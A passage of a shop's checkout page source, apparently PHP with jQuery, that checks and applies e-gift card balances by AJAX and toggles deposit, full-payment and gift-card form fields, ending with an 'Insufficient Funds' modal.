$("#addcoupon").removeAttr("disabled"); } } }); }); }); function checkGift() { var giftcardValue = $('#giftcardno').val(); $.ajax({ url: 'fetchcardamount.php', type: 'POST', data: { giftcard: giftcardValue}, success: function(data) { var confirmation = confirm('Insufficient funds\n\nTotal amount left in e-giftcard: N' + data + '\n\nSelect OK to proceed to charge e-giftcard or Cancel'); if (confirmation) { updateValues(); } }, error: function() { alert('Failed to fetch data from the database.'); } }); } function updateValues() { var orderValue = $('#orderid').val(); var giftcardValue = $('#giftcardno').val(); $.ajax({ url: 'fetchamount.php', type: 'POST', data: { giftcard: giftcardValue, orderno: orderValue}, success: function(data) { // Update the values in your HTML $('.topay').show(); $('#realamount').val(data); $('#applied').val(data); $('#amounttopay').text(data); alert('Giftcard applied successsfully.Please pay up the rest of your invoice with either card or direct bank transfer'); }, error: function() { alert('Failed to fetch data from the database.'); } }); } document.addEventListener("DOMContentLoaded", function () { const paypalRadio = document.getElementById("stockpile"); const fullPayRadio = document.getElementById("fullpay"); const stockpileField = document.getElementById("stockpileField"); const stockpileAmount = document.getElementById("stockpileAmount"); const showgiftcard = document.getElementById("showgiftcard"); const giftCard = document.getElementById("giftcard"); const giftCardField = document.getElementById("giftfield"); // Deposit paypalRadio.addEventListener("change", function () { if (paypalRadio.checked) { stockpileField.style.display = "block"; stockpileAmount.setAttribute("required", "required"); showgiftcard.style.display = "none"; } else { stockpileField.style.display = "none"; document.getElementById("stockpileAmount").required = false; showgiftcard.style.display = "block"; } }); //fullPayment fullPayRadio.addEventListener("change", function () { if (fullPayRadio.checked) { stockpileField.style.display = "none"; document.getElementById("stockpileAmount").required = false; showgiftcard.style.display = "block"; } else { stockpileField.style.display = "block"; stockpileAmount.setAttribute("required", "required"); showgiftcard.style.display = "none"; } }); // giftCard giftCard.addEventListener("change", function () { if (giftCard.checked) { giftCardField.style.display = "block"; } else { giftCardField.style.display = "none"; } }); }); </script> <!-- Modal --> <div class="modal fade" id="giftModal" tabindex="-1" role="dialog" aria-labelledby="giftModal" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLongTitle" style="color:black;">Insufficient Funds</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <p>Card has been used up you can purschase another @ <a href="https://chbluxuryempire.com">www.chbluxuryempire.com</a></p> </div> </div> </div> </div> </div> <?php include "footer.php"; ?>
💾 Save Changes